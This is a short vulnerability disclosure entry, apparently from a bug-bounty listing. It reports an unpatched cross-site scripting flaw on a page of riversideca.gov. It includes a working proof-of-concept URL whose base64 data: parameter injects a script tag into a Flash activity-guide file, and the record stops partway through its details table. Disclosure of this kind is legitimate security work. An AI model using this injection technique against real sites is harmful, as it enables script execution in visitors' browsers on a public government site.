riversideca.gov XSS vulnerability

Vulnerable URL: http://www.riversideca.gov/parkrec/activityguidepast/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.08.2017 Vulnerability type:| XSS...